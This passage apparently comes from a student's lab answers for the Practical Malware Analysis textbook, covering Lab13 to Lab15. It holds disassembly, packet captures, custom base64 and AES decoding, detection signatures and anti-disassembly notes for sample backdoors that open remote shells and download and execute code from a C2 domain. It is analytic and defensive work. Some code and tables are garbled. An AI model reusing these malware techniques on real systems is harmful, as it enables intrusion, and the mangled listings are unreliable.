        myWritePtr = (writeFunc)0x00401000;

        if (INVALID_HANDLE_VALUE == hFind)
        {
            continue;
        }

        do
        {
            if (!(ffd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY))
            {
                if(!strcmp(ffd.cFileName, "temp", 4)){
                    BYTE *buffer;
                    long fsize;
                    CHAR temp[MAX_PATH];
                    FILE *f = fopen(ffd.cFileName, "rb");
                    fseek(f, 0, SEEK_END);
                    fsize = ftell(f);
                    fseek(f, 0, SEEK_SET);

                    buffer = (BYTE*)malloc(fsize + 1);
                    fread(buffer, fsize, 1, f);
                    fclose(f);
                    myFuncPtr(buffer, fsize);


                    sprintf(temp, "DECODED_%s.bmp", ffd.cFileName);
                    myWritePtr(buffer, fsize, temp);
                    free(buffer);
                    DeleteFileA(ffd.cFileName);
                }
            }
        }
        while (FindNextFile(hFind, &ffd) != 0);

        FindClose(hFind);
        Sleep(1000);
    }
}
```

Figure 6. Decode Function

The above codes simply scan the path in which the executable resides in for encoded files that start with “**temp**“. It then reads the file and pass the data to the encoding function **@0x40181F**. Once the data is decoded, we make use of the function **@0x401000** to write out the file to

“DECODED_[encoded file name].bmp“. Last but not least i shall delete the encoded file so as not to clutter the folder.



c. Analyze the malware found in the file *Lab13-03.exe*.

i. Compare the output of strings with the information available via dynamic analysis. Based on this comparison, which elements might be encoded?

Based on Wireshark and program response we could see the following strings.

No.	Time	Source	Destination	Protocol	Length	Info
1	0.000000000	192.168.1.101	192.168.1.100	DNS	92	Standard query 0x2909 A www.practicalmalwareanalysis.com
2	0.012105000	192.168.1.100	192.168.1.101	DNS	108	Standard query response 0x2909 A 192.168.1.100
3	0.015718000	192.168.1.101	192.168.1.100	TCP	62	avocent-> anyone-> anyone-> http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK=0
4	0.015964000	192.168.1.100	192.168.1.101	TCP	60	anyone-> http > avocent-> proxy [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
5	0.538015000	192.168.1.100	192.168.1.100	TCP	62	avocent-> proxy > anyone-> http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK=0
6	0.538512000	192.168.1.100	192.168.1.101	TCP	60	anyone-> http > avocent-> proxy [RST, ACK] Seq=1 Ack=1 Win=0 Len=0
7	1.084739000	192.168.1.101	192.168.1.100	TCP	62	avocent-> proxy > anyone-> http [SYN] Seq=0 Win=64240 Len=0 MSS=1460 SACK=0
8	1.085019000	192.168.1.100	192.168.1.101	TCP	60	anyone-> http > avocent-> proxy [RST, ACK] Seq=1 Ack=1 Win=0 Len=0

Figure 1. <http://www.practicalmalwareanalysis.com>

```
C:\Documents and Settings\Administrator\Desktop\BinaryCollection\Chapter_13L>Lab13-03.exe
ERROR: API      = ReadConsole.
error code    = 0.
message      = The operation completed successfully.
```

Figure 2. Error Message

In IDA Pro we can see the domain host name and some possible debug messages.

.text:00402B3F	sub_4027ED	33 14 85 08 E3 40 00	xor edx, ds:Rijndael_Td2[eax*4]
.text:00402A4E	sub_4027ED	33 14 85 08 E3 40 00	xor edx, ds:Rijndael_Td2[eax*4]
.text:00402587	sub_40223A	33 14 85 08 D3 40 00	xor edx, ds:Rijndael_Te2[eax*4]
.text:00402496	sub_40223A	33 14 85 08 D3 40 00	xor edx, ds:Rijndael_Te2[eax*4]
.text:00402892	sub_4027ED	33 11	xor edx, [ecx]
.text:004022DD	sub_40223A	33 11	xor edx, [ecx]
.text:00402A68	sub_4027ED	33 10	xor edx, [eax]
.text:004024B0	sub_40223A	33 10	xor edx, [eax]
.text:004021F6	sub_401AC2	33 0C 95 08 F3 40 00	xor ecx, ds:dword_40F308[edx*4]
.text:004033A2	sub_403166	33 0C 95 08 E7 40 00	xor ecx, ds:Rijndael_Td3[edx*4]
.text:00403381	sub_403166	33 0C 95 08 E3 40 00	xor ecx, ds:Rijndael_Td2[edx*4]
.text:00402AF0	sub_4027ED	33 0C 95 08 E3 40 00	xor ecx, ds:Rijndael_Td2[edx*4]
.text:0040335D	sub_403166	33 0C 95 08 DF 40 00	xor ecx, ds:Rijndael_Td1[edx*4]
.text:00402FE1	sub_402DA8	33 0C 95 08 D7 40 00	xor ecx, ds:Rijndael_Te3[edx*4]
.text:00402FC0	sub_402DA8	33 0C 95 08 D3 40 00	xor ecx, ds:Rijndael_Te2[edx*4]
.text:00402538	sub_40223A	33 0C 95 08 D3 40 00	xor ecx, ds:Rijndael_Te2[edx*4]
.text:00402F9C	sub_402DA8	33 0C 95 08 CF 40 00	xor ecx, ds:Rijndael_Te1[edx*4]
.text:004033BC	sub_403166	33 0C 90	xor ecx, [eax+edx*4]
.text:00402FF8	sub_402DA8	33 0C 90	xor ecx, [eax+edx*4]
.text:00402205	sub_401AC2	33 0C 85 08 F7 40 00	xor ecx, ds:dword_40F708[eax*4]
.text:004021E3	sub_401AC2	33 0C 85 08 EF 40 00	xor ecx, ds:dword_40EF08[eax*4]
.text:00402AFF	sub_4027ED	33 0C 85 08 E7 40 00	xor ecx, ds:Rijndael_Td3[edx*4]
.text:00402ADD	sub_4027ED	33 0C 85 08 DF 40 00	xor ecx, ds:Rijndael_Td1[eax*4]
.text:00402547	sub_40223A	33 0C 85 08 D7 40 00	xor ecx, ds:Rijndael_Te3[edx*4]
.text:00402525	sub_40223A	33 0C 85 08 CF 40 00	xor ecx, ds:Rijndael_Te1[eax*4]
.text:00402AAF	sub_4027ED	33 04 95 08 E7 40 00	xor eax, ds:Rijndael_Td3[edx*4]
.text:00402ABC	sub_4027ED	33 04 95 08 DF 40 00	xor eax, ds:Rijndael_Td1[edx*4]
.text:004024F7	sub_40223A	33 04 95 08 D7 40 00	xor eax, ds:Rijndael_Te3[edx*4]
.text:004024D4	sub_40223A	33 04 95 08 CF 40 00	xor eax, ds:Rijndael_Te1[edx*4]
.text:00402A9F	sub_4027ED	33 04 8D 08 E3 40 00	xor eax, ds:Rijndael_Td2[ecx*4]
.text:004024E7	sub_40223A	33 04 8D 08 D3 40 00	xor eax, ds:Rijndael_Te2[ecx*4]
.text:0040874E		32 30	xor dh, [eax]
.text:004039E8	sub_403990	32 11	xor dl, [ecx]
.text:00408752		30 30	xor [eax], dh

Figure

4. XOR operations

iii. Use static tools like FindCrypt2, KANAL, and the IDA Entropy Plugin to identify any other encoding mechanisms. How do these findings compare with the XOR findings?

Most likely AES is being used in the malware.




Figure 5. PEID found AES




Figure 8. Base64 decode

Based on some debug message, this function (0x00401AC2) seems to be initializing the AES key.

```
.text:00401AC2 ; int __thiscall keyinit(int this, int KEY, void *a3, int a4, int a5)
keyinit proc near ; CODE XREF: _main+1Cp
.text:00401AC2
.var_68 = dword ptr -68h
.var_64 = dword ptr -64h
.var_60 = dword ptr -60h
.var_5C = dword ptr -5Ch
.var_58 = byte ptr -58h
.var_4C = dword ptr -4Ch
.var_48 = byte ptr -48h
.var_3C = dword ptr -3Ch
.var_38 = byte ptr -38h
.var_2C = dword ptr -2Ch
.var_28 = dword ptr -28h
.var_24 = dword ptr -24h
.var_20 = dword ptr -20h
.var_1C = dword ptr -1Ch
.var_18 = dword ptr -18h
.var_14 = dword ptr -14h
.var_10 = dword ptr -10h
.var_C = dword ptr -8h
.var_8 = dword ptr -8
.var_4 = dword ptr -4
.KEY = dword ptr 8
.arg_4 = dword ptr 10h
.arg_8 = dword ptr 14h
.arg_C = dword ptr 14h
.push    ebp
.mov     ebp, esp
.sub    esp, 68h
.push    esi
.nov    [ebp+var_60], ecx
.cmp    [ebp+KEY], 0
.jnz    short loc_401AF3
.nov    [ebp+var_3C], offset aEmptyKey ; "Empty key"
.lea     eax, [ebp+var_3C]
.push    eax

```

Figure 9. Init Key

x-ref the function and locate the 2nd argument... the key is most likely to be "ijklmnopqrstuvwxyz".

```
.text:00401876 81 EC H0 01 00 00
.text:00401882 6A 10
.text:00401884 6A 10
.text:00401886 68 74 33 41 00
.text:00401888 68 0B 22 41 00
.text:00401890 B9 F8 2E 41 00
.text:00401895 E8 28 02 00 00
.FASTCALLRET 00 0C 7A EC EC EC
```

```
push    esp, EC
push    16          ; int
push    16          ; int
push    offset unk_413374 ; void *
push    offset aljklmnopqrstuvwxyz ; "ijklmnopqrstuvwxyz"
mov     ecx, offset unk_412EF8
call    keyinit
ret
```

Figure 10. Key pass in as 2nd argument

vi. For the cryptographic encryption algorithm, is the key sufficient? What else must be known?

For custom base64, we would just need the custom base64 string.

For AES, we would need the Cipher's encryption mode, key and IV.

vii. What does this malware do?

The malware connects to an <http://www.practicalmalwareanalysis.com>'s 8190 port and establishes a remote shell. It then reads input from the attacker. The inputs are custom base64 encoded. Once decoded, the command is pass to cmd.exe for execution. The return results is encrypted using AES and send back to the attacker's server.

viii. Create code to decrypt some of the content produced during dynamic analysis. What is this content?

Using the key, we use CBC mode with no IV to decrypt the AES encrypted packet. The content is the response from the command sent earlier via the remote shell from the attacker.

Figure 11. Decrypted Data

Practical No. 8

a. Analyze the malware found in file *Lab14-01.exe*. This program is not harmful to your system.

i. Which networking libraries does the malware use, and what are their advantages?

The networking library used is urlmon's [URLDownloadToCacheFileA](#).

Address	Ordinal	Name	Library
004050B8		URLDownloadToCacheFileA	urlmon
0040500C		Sleep	KERNEL32
00405010		CreateProcessA	KERNEL32
00405014		FlushFileBuffers	KERNEL32

Figure 1. urlmon's URLDownloadToCacheFileA

The advantage of using this api call is that the http packets being sent looks like a typical packet from the victim's browser.




Figure 2. User-Agent

ii. What source elements are used to construct the networking beacon, and what conditions would cause the beacon to change?

From the figure below, we can observe that the networking beacon is constructed from a partial GUID(19h to 24h) via [GetCurrentHwProfileA](#) and username via [GetUserNameA](#).

Based on MSDN, **szHwProfileGuid** is a globally unique identifier (GUID) string for the current hardware profile. The string returned by [GetCurrentHwProfile](#) encloses the GUID in curly braces, {}; for example: {12340001-4980-1920-6788-123456789012}.

Therefore on different machine, the GUID should be different which infers that the beacon will change. On top of that, another variable used is the username therefore different users logging in to the same infected machine will generate a different beacon as well.



Figure 4.padding 'a' is used instead of '='

To prove that let's try it using ollydbg. Set breakpoint @0x004013A2 and we can step through the base64 algo in action. In my test experiment i used AA:AA:AA:AA:AA:AA-AAAAAAA to let it encode. By right the standard base64 should give me the following results.

Encode to Base64 format

Simply use the form below

AA:AA:AA:AA:AA:AA-AAAAAAA

> ENCODE <

UTF-8

(You may also select output charset.)

QUE6QUE6QUE6QUE6QUE6QUEtQUFBQUFBQUFBQQ==

Figure 5.

Encoding AA:AA:AA:AA:AA:AA-AAAAAAA

However we got back QUE6QUE6QUE6QUE6QUE6QUEtQUFBQUFBQUFBQQaa instead. Which further reinforced what we have seen earlier in IDA Pro where ‘a’ is used instead of ‘=’ for padding.




Figure 6. Encoding in ollydbg

v. What is the overall purpose of this malware?

The malware attempts to download file from the c2 server and executes it every 60 seconds.




Figure 7. Download and execute

vi. What elements of the malware's communication may be effectively detected using a network signature?

We can use to following elements to detect for this malware

1. domain: <http://www.practicalmalwareanalysis.com>
2. Get request ends with `/[%c].png`
3. Get request pattern is as follows `"/[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}6[A-Z|a-z|0-9]{3}t[A-Z|a-z|0-9]*\[A-Z|a-z|0-9].png/"`



Figure 8. online reg exp tool

vii. What mistakes might analysts make in trying to develop a signature for this malware?

1. thinking that the GET request is a static base64 string
2. thinking that the file requested is "a.png"

viii. What set of signatures would detect this malware (and future variants)?

refer to question vi.

b. Analyze the malware found in file *Lab14-02.exe*. This malware has been configured to beacon to a hard-coded loopback address in order to prevent it from harming your system, but imagine that it is a hard-coded external address.

i. What are the advantages or disadvantages of coding malware to use direct IP addresses?

Pro

If the attacker's IP were to be blocked, other same variant of malware that uses different IP would not be affected.

Con

If the IP is blacklisted as malicious and blocked by the feds, the attacker would have lost access to the malware. If the attacker were to use a domain name, he can easily just redirect to another IP.

ii. Which networking libraries does this malware use? What are the advantages or disadvantages of using these libraries?




Figure 4. Send Data

Read Data Thread uses a static user agent “Internet Surf” as shown below.

```

; int __cdecl InternetRead(LPCSTR lpszUrl)
InternetRead proc near

dwNumberOfBytesRead= dword ptr -4
lpszUrl= dword ptr 4

push  ecx
push  ebx
push  ebp
push  0          ; dwFlags
push  0          ; lpszProxyBypass
push  0          ; lpszProxy
push  0          ; dwAccessType
push  offset szAgent ; "Internet Surf"
call  ds:InternetOpenA
push  0          ; dwContext
mov   ebp, eax
mov   eax, [esp+10h+lpszUrl]
  
```

Figure 5. Internet Surf User-agent

v. What kind of information is communicated in the malware’s initial beacon?

Setting a breakpoint @0x00401750, we will break before the malware attempts to send packets out. Here you will see a custom base64 encoded data being package ready to send out.




Figure 6. Base64 encoded data

```

data:00403010 ; cchar byte_403010J
data:00403010 byte_403010 db 'V' ; DATA XREF: BASE64+88Tr
data:00403010 ; BASE64+88Tr ...
data:00403011 aXyz1abcd3Fghij db 'XYZ1abcd3Fghijk012e456789ABCDEFGHIJKLM+MNOPQRSTUVWXYZ',0
data:00403051 align 4
data:00403054 aCmd_exe db 'cmd.exe',0 ; DATA XREF: WinMain(x,x,x,x)+130fo

```

Figure 8. Custom base64 key

viii. How is communication terminated?

In the subroutine @0x00401800, once the malware reads the word **exit** from the C2 server, the thread will exit.




Figure 9. exit keyword

ix. What is the purpose of this malware, and what role might it play in the attacker's arsenal?

Reverse Shell via http. On termination of the malware a subroutine (0x00401880) will be called to delete itself from the system.

```

        lea     eax, [esp+358h+Buffer]
        push    104h           ; nSize
        push    eax             ; lpBuffer
        push    offset Name    ; "COMSPEC"
        call    ds:GetEnvironmentVariableA
        test   eax, eax
        jz      loc_4019D0

        lea     ecx, [esp+358h+String1]
        push    offset String2  ; "/c del "
        push    ecx             ; lpString1
        call    ds:lstrcpyA
        mov    esi, ds:lstrcatA
        lea     edx, [esp+358h+Filename]
        lea     eax, [esp+358h+String1]
        push    edx             ; lpString2
        push    eax             ; lpString1
        call    esi ; lstrcatA
        lea     ecx, [esp+358h+String1]
        push    offset aNull    ; "> nul"
        push    ecx             ; lpString1
        call    esi ; lstrcatA
        mov    [esp+358h+pExecInfo.hwnd], edi
        lea     edx, [esp+358h+Buffer]
        lea     eax, [esp+358h+String1]
        mov    [esp+358h+pExecInfo.lpDirectory], edi
        mov    [esp+358h+pExecInfo.nShow], edi
        mov    edi, ds:GetCurrentProcess
        push    100h           ; dwPriorityClass
        mov    [esp+35Ch+pExecInfo.cbSize], 3Ch
        mov    [esp+35Ch+pExecInfo.lpVerb], offset aOpen ; "Open"
        mov    [esp+35Ch+pExecInfo.lpFile], edx
        mov    [esp+35Ch+pExecInfo.lpParameters], eax
        mov    [esp+35Ch+pExecInfo.fMask], 40h
        call    edi ; GetCurrentProcess
        mov    esi, ds:SetPriorityClass
        push    eax             ; hProcess
        call    esi ; SetPriorityClass
        mov    ebx, ds:GetCurrentThread
        push    0Fh             ; nPriority
        call    ebx ; GetCurrentThread
        mov    ebp, ds:SetThreadPriority
        push    eax             ; hThread
        call    ebp ; SetThreadPriority
        lea     ecx, [esp+358h+pExecInfo]
        push    ecx             ; pExecInfo
        call    ds:ShellExecuteExA
        test   eax, eax
        jz      short loc_4019C2
    
```

Figure 10. self delete

c. This lab builds on Practical 8 a. Imagine that this malware is an attempt by the attacker to improve his techniques. Analyze the malware found in file *Lab14-03.exe*.

i. What hard-coded elements are used in the initial beacon? What elements, if any, would make a good signature?

From the figure below, we can see hard-coded user-agent and headers (Accept, Accept-Language, Accept-Encoding, and a unique UA-CPU field). All of these can be used as a signature especially the UA-CPU field. It is also noted that the author pass the string “User-Agent: xxx” into InternetOpenA API call. This results in User-Agent field being set to User-

Agent:User-Agent:xxx... A duplicate error in which we can used it to generate a good signature too.

SJ .data:00400011C 00000040	unc...	WWW	
SJ .data:0040811C 00000032	C	http://www.practicalmalwareanalysis.com/start.htm	
SJ .data:0040810C 0000000F	C	C:\autobat.exe	
SJ .data:004080FC 0000000F	C	C:\autobat.exe	
SJ .data:004080A4 0000004E	C	Accept: */*\nAccept-Language: en-US\nAccept-Encoding: gzip, deflate	
SJ .data:00408038 0000006B	C	User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET ...	

Figure 1. HTTP Headers

ii. What elements of the initial beacon may not be conducive to a longlasting signature?

In the subroutine @0x401457, we can see that the url

[“http://www.practicalmalwareanalysis.com/start.htm”](http://www.practicalmalwareanalysis.com/start.htm) is being set as the beacon destination. However that is provided that “c:\\autobat.exe” does not exists, if it exists, the contents will be read and parsed as the beacon destination instead.

Using “<http://www.practicalmalwareanalysis.com/start.htm>” as a signature might not be a good idea since an attacker might be able to change the beacon destination.



Figure 2. autobat.exe

iv. When the malware receives input, what checks are performed on the input to determine whether it is a valid command? How does the attacker hide the list of commands the malware is searching for?

Analyzing subroutine @00401000 & 0x00401684. The checks are as follows

1. starts with <noscript>
2. url exists after <noscript>
3. url ends with “69”
4. commands must be in the form of /command/parameter

The attacker hides the commands by using only the first character to switch between predefined commands. Therefore he can use different words to represent same command so long as the first character matches in the switch.

v. What type of encoding is used for command arguments? How is it different from Base64, and what advantages or disadvantages does it offer?

The malware divides the parameters by 2 characters. Each 2 characters are passed to atoi function to convert it to integer. It then references the following string to get the exact character it represents.

```
.rdata:00407004 00 00 00 00          align 8
.rdata:00407008 ; char aBcdeFghijklmn[ ]
.rdata:0040700B 2F 61 62 63 64 65 66 67+aBcdeFghijklmn db '/abcdefghijklmnopqrstuvwxyz0123456789:-',0
```

Figure 4. Decode string

Pro

It is a custom encoding technique thus not easily detected by existing tools

Con

It is pretty simple to reverse.

vi. What commands are available to this malware?

Command Description

- | | |
|---|--------------------|
| d | Download & Execute |
| n | Exit |
| s | Sleep |
| r | Write autobat.exe |

vii. What is the purpose of this malware?

The malware serves as a backdoor by downloading and execute new codes on the victim's machine via http request. It can also rewrite the config file "autobat.exe" to let it connect to a different C2 Server.

viii. This chapter introduced the idea of targeting different areas of code with independent signatures (where possible) in order to add resiliency to network indicators. What are some distinct areas of code or configuration data that can be targeted by network signatures?

1. "<http://www.practicalmalwareanalysis.com/start.htm#8221;>

2. Any new url found in “c:\\autobat.exe”
3. Headers such as UA-CPU and User Agent (duplicated User-Agent)
4. http response contains <noscript>[url][69’]

ix. What set of signatures should be used for this malware?

refer to question 8.

d. Analyze the sample found in the file Lab15-01.exe. This is a command-line program that takes an argument and prints “Good Job!” if the argument matches a secret code.

i. What anti-disassembly technique is used in this binary?

Xor was used followed by jz to trick the disassembler into making a jump. An opcode “E8” is used to make IDA Pro disassemble the code wrongly.

```

ext:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
ext:00401000 _main:                                ; CODE XREF: start+DE↓p
ext:00401000      push   ebp
ext:00401001      mov    ebp, esp
ext:00401003      push   ebx
ext:00401004      push   esi
ext:00401005      push   edi
ext:00401006      cmp    dword ptr [ebp+8], 2
ext:0040100A      jnz   short loc_40105E
ext:0040100C      xor    eax, eax
ext:0040100E      jz    short near ptr loc_401010+1
ext:00401010
ext:00401010 loc_401010:                           ; CODE XREF: .text:0040100E↑j
ext:00401010      call   near ptr 8B4C55A0h
ext:00401015      dec    eax
ext:00401016      add    al, 0Fh
ext:00401018      mov    esi, 70FA8311h
ext:0040101D      jnz   short loc_40105E
ext:0040101F      xor    eax, eax
ext:00401021      jz    short near ptr loc_401023+1
ext:00401023
ext:00401023 loc_401023:                           ; CODE XREF: .text:00401021↑j
ext:00401023      call   near ptr 8B4C55B3h
ext:00401028      dec    eax
ext:00401029      add    al, 0Fh
ext:0040102B      mov    esi, 0FA830251h
ext:00401030      jno   short near ptr loc_4010A4+3
ext:00401032      sub    esi, [ebx]
ext:00401034      sal    byte ptr [ecx+eax-18h], 8Bh
ext:00401039      inc    ebp
ext:0040103A      or    al, 88h
ext:0040103C      dec    eax
ext:0040103D      add    al, 0Fh
ext:0040103F      mov    esi, 0FA830151h
ext:00401044      db    64h
ext:00401044      jnz   short loc_40105E
ext:00401047      xor    eax, eax
ext:00401049      jz    short near ptr loc_40104B+1
ext:0040104B
ext:0040104B loc_40104B:                           ; CODE XREF: .text:00401049↑j
ext:0040104B      call   near ptr 40702088h
ext:00401050      add    bh, bh
ext:00401052      adc    eax, offset printf
ext:00401057      add    esp, 4
ext:0040105A      xor    eax, eax
ext:0040105C      jmp   short loc_401073
ext:0040105E ; -----
ext:0040105E

```

Figure 1. A confuse looking IDA Pro

We can undefine the code and reanalyze the code as shown below.

```
.text:00401000 ; int __cdecl main(int argc, const char **argv, const char **envp)
.text:00401000 _main:                                ; CODE XREF: start+DE↑p
.text:00401000          push    ebp
.text:00401001          mov     ebp, esp
.text:00401003          push    ebx
.text:00401004          push    esi
.text:00401005          push    edi
.text:00401006          cmp     dword ptr [ebp+8], 2
.text:0040100A          jnz    short loc_40105E
.text:0040100C          xor     eax, eax
.text:0040100E          jz     short loc_401011
.text:0040100E ; -----
.text:00401010          db     0E8h ; p
.text:00401011 ; -----
.text:00401011 loc_401011:                           ; CODE XREF: .text:0040100E↑j
.text:00401011          mov     eax, [ebp+0Ch]
.text:00401014          mov     ecx, [eax+4]
.text:00401017          movsx   edx, byte ptr [ecx]
.text:0040101A          cmp     edx, 70h
.text:0040101D          jnz    short loc_40105E
.text:0040101F          xor     eax, eax
.text:00401021          jz     short loc_401024
.text:00401021 ; -----
.text:00401023          db     0E8h ; p
.text:00401024 ; -----
.text:00401024 loc_401024:                           ; CODE XREF: .text:00401021↑j
.text:00401024          mov     eax, [ebp+0Ch]
.text:00401027          mov     ecx, [eax+4]
.text:0040102A          movsx   edx, byte ptr [ecx+2]
.text:0040102E          cmp     edx, 71h
.text:00401031          jnz    short loc_40105E
.text:00401033          xor     eax, eax
.text:00401035          jz     short loc_401038
.text:00401035 ; -----
.text:00401037          db     0E8h ; p
.text:00401038 ; -----
.text:00401038 loc_401038:                           ; CODE XREF: .text:00401035↑j
.text:00401038          mov     eax, [ebp+0Ch]
.text:0040103B          mov     ecx, [eax+4]
.text:0040103E          movsx   edx, byte ptr [ecx+1]
.text:00401042          cmp     edx, 64h
.text:00401045          jnz    short loc_40105E
.text:00401047          xor     eax, eax
.text:00401049          jz     short loc_40104C
.text:00401049 ; -----
```

Figure 2. Reanalyzing opcodes

ii. What rogue opcode is the disassembly tricked into disassembling?

E8 was used to trick the dis assembler.

```
----- ; ----- ; -----
text:0040105E          xor     eax, eax      ; .text:00401010↑j ...
text:0040105E 33 C0
text:00401060 74 01
text:00401062          jz     short near ptr loc_401062+1
text:00401062 loc_401062:                   ; CODE XREF: .text:00401060↑j
text:00401062 E8 68 1C 30 40
text:00401067 00 FF
text:00401069 15 00 20 40 00
text:0040106E 83 C4 04
text:00401071 33 C0
text:00401073
```

Figure 3. E8 opcode

.text:0040138C C6 45 CC 68	mov [ebp+Src], 'h'
.text:00401390 C6 45 CD 74	mov [ebp+var_33], 't'
.text:00401394 C6 45 CE 74	mov [ebp+var_32], 't'
.text:00401398 C6 45 CF 78	mov [ebp+var_31], 'p'
.text:0040139C C6 45 D0 3A	mov [ebp+var_30], '.'
.text:004013A0 C6 45 D1 2F	mov [ebp+var_2F], '/'
.text:004013A4 C6 45 D2 2F	mov [ebp+var_2E], '/'
.text:004013A8 C6 45 D3 77	mov [ebp+var_2D], 'w'
.text:004013AC C6 45 D4 77	mov [ebp+var_2C], 'w'
.text:004013B0 C6 45 D5 77	mov [ebp+var_2B], 'w'
.text:004013B4 C6 45 D6 2E	mov [ebp+var_2A], '.'
.text:004013B8 C6 45 D7 78	mov [ebp+var_29], 'p'
.text:004013BC C6 45 D8 72	mov [ebp+var_28], 'r'
.text:004013C0 C6 45 D9 61	mov [ebp+var_27], 'a'
.text:004013C4 C6 45 DA 63	mov [ebp+var_26], 'c'
.text:004013C8 C6 45 DB 74	mov [ebp+var_25], 't'
.text:004013CC C6 45 DC 69	mov [ebp+var_24], 'i'
.text:004013D0 C6 45 DD 63	mov [ebp+var_23], 'c'
.text:004013D4 C6 45 DE 61	mov [ebp+var_22], 'a'
.text:004013D8 C6 45 DF 6C	mov [ebp+var_21], 'l'
.text:004013DC C6 45 E0 60	mov [ebp+var_20], 'm'
.text:004013E0 C6 45 E1 61	mov [ebp+var_1F], 'a'
.text:004013E4 C6 45 E2 6C	mov [ebp+var_1E], 'l'
.text:004013E8 C6 45 E3 77	mov [ebp+var_1D], 'w'
.text:004013EC C6 45 E4 61	mov [ebp+var_1C], 'a'
.text:004013F0 C6 45 E5 72	mov [ebp+var_1B], 'r'
.text:004013F4 C6 45 E6 65	mov [ebp+var_1A], 'e'
.text:004013F8 C6 45 E7 61	mov [ebp+var_19], 'a'
.text:004013FC C6 45 E8 6E	mov [ebp+var_18], 'n'
.text:00401400 C6 45 E9 61	mov [ebp+var_17], 'a'
.text:00401404 C6 45 EA 6C	mov [ebp+var_16], 'l'
.text:00401408 C6 45 EB 79	mov [ebp+var_15], 'y'
.text:0040140C C6 45 EC 73	mov [ebp+var_14], 's'
.text:00401410 C6 45 ED 69	mov [ebp+var_13], 'i'
.text:00401414 C6 45 EE 73	mov [ebp+var_12], 's'
.text:00401418 C6 45 EF 2E	mov [ebp+var_11], '.'
.text:0040141C C6 45 F0 63	mov [ebp+var_10], 'c'
.text:00401420 C6 45 F1 6F	mov [ebp+var_F], 'o'
.text:00401424 C6 45 F2 60	mov [ebp+var_E], 'n'
.text:00401428 C6 45 F3 2F	mov [ebp+var_D], '/'
.text:0040142C C6 45 F4 62	mov [ebp+var_C], 'b'
.text:00401430 C6 45 F5 61	mov [ebp+var_B], 'a'
.text:00401434 C6 45 F6 60	mov [ebp+var_A], 'n'
.text:00401438 C6 45 F7 62	mov [ebp+var_9], 'b'
.text:0040143C C6 45 F8 6F	mov [ebp+var_8], 'o'

Figure 1. URL <http://www.practicalmalwareanalysis.com/bamboo.html>

ii. How is the User-Agent generated?

via modifying [GetHostName](#) returned string.




Figure 3. strstr

iv. What does the program do with the information it extracts from the page?

It extracts out another url and download its content via **InternetOpenUrlA** and **InternetReadFile** saving it under **Account Sumamry.xls.exe**. It then executes it via **ShellExecuteA**.

```

.text:00401219 E8 F1 00 00 00          call    account_summary
.text:0040121E 89 85 58 FD FE FF        mov     [ebp+str_Account_Summary.xls.exe], eax
.text:00401224 68 00 00 A8 00          push    0A00000h ; Size
.text:00401229 FF 15 28 20 40 00        call    ds:malloc
.text:0040122F 83 C4 04          add    esp, 4
.text:00401232 89 85 54 FD FE FF        mov     [ebp+lpBuffer], eax
.text:00401238 8B 8D 68 FD FF FF        mov     ecx, [ebp+strURL]
.text:0040123E 83 C1 08          add    ecx, 8
.text:00401241 89 8D 68 FD FF FF        mov     [ebp+strURL], ecx
.text:00401247 6A 00          push    0 ; dwContext
.text:00401249 6A 00          push    0 ; dwFlags
.text:0040124B 6A 00          push    0 ; dwHeadersLength
.text:0040124D 6A 00          push    0 ; lpszHeaders
.text:0040124F 8B 95 68 FD FF FF        mov     edx, [ebp+strURL]
.text:00401255 52          push    edx ; lpszUrl
.text:00401256 8B 85 5C FD FE FF        mov     eax, [ebp+hInternet]
.text:0040125C 50          push    eax ; hInternet
.text:0040125D FF 15 64 28 40 00        call    ds:InternetOpenUrlA
.text:00401263 89 85 64 FD FF FF        mov     [ebp+hFile], eax
.text:00401269 74 03          jz     short loc_40126E
.text:0040126B 75 01          jnz    short loc_40126E
.text:0040126D 90          nop
.text:0040126E
.loc_40126E:           ; CODE XREF: _main+269tj
.text:0040126E                 ; _main+268tj
.lea    ecx, [ebp+dwNumberOfBytesRead]
.text:00401274 51          push    ecx ; lpdwNumberOfBytesRead
.text:00401275 68 00 00 01 00        push    10000h ; dwNumberOfBytesToRead
.text:0040127A 8B 95 54 FD FE FF        mov     edx, [ebp+lpBuffer]
.text:00401280 52          push    edx ; lpBuffer
.text:00401281 8B 85 64 FD FF FF        mov     eax, [ebp+hFile]
.text:00401287 50          push    eax ; hFile
.text:00401288 FF 15 5C 28 40 00        call    ds:InternetReadFile
.text:0040128E 85 C0          test   eax, eax
.text:00401290 74 74          jz     short loc_401306
.text:00401292 83 BD FC FE FF FF 00      cmp    [ebp+dwNumberOfBytesRead], 0
.text:00401299 76 6B          jbe    short loc_401306
.text:0040129B 68 40 30 40 00        push    offset Mode ; "ub"
.text:004012A0 8B 8D 58 FD FE FF        mov     ecx, [ebp+str_Account_Summary.xls.exe]
.text:004012A6 51          push    ecx ; Filename
.text:004012A7 FF 15 24 20 40 00        call    ds:Fopen

```

Figure 4. InternetOpenUrlA followed by InternetReadFile followed by fopen,fwrite then ShellExecuteA

f. Analyze the malware found in the file *Lab15-03.exe*. At first glance, this binary appears to be a legitimate tool, but it actually contains more functionality than advertised.

i. How is the malicious code initially called?

The return address was overwritten by the malicious code address at the start of the program. the stack which contains the ret address was written with 0x40148c.

```

.text:00401000 55
.text:00401001 8B EC
.text:00401003 81 EC 34 01 00 00
.text:00401009 53
.text:0040100A 56
.text:0040100B 57
.text:0040100C 8B 00 00 40 00
.text:00401011 8D 8C 14 00 00
.text:00401016 89 45 04
.text:00401040 48 EC 00 40 00

```

<pre> push ebp mov ebp, esp sub esp, 134h push ebx push esi push edi mov eax, 400000h or eax, 148Ch mov [ebp+4], eax push offset Eount </pre>	<pre> push ebp mov ebp, esp sub esp, 134h push ebx push esi push edi mov eax, 400000h or eax, 148Ch mov [ebp+4], eax push offset Eount </pre>
--	--

Figure 1. Overwriting return address

ii. What does the malicious code do?

```

text:0040148C          ; CODE XREF: .text:0040148C+8tj
text:0040148C 55
text:0040148D 8B EC
text:0040148F 53
text:00401490 56
text:00401491 57
text:00401492 33 C0
text:00401494 74 01
text:00401496 90
text:00401497
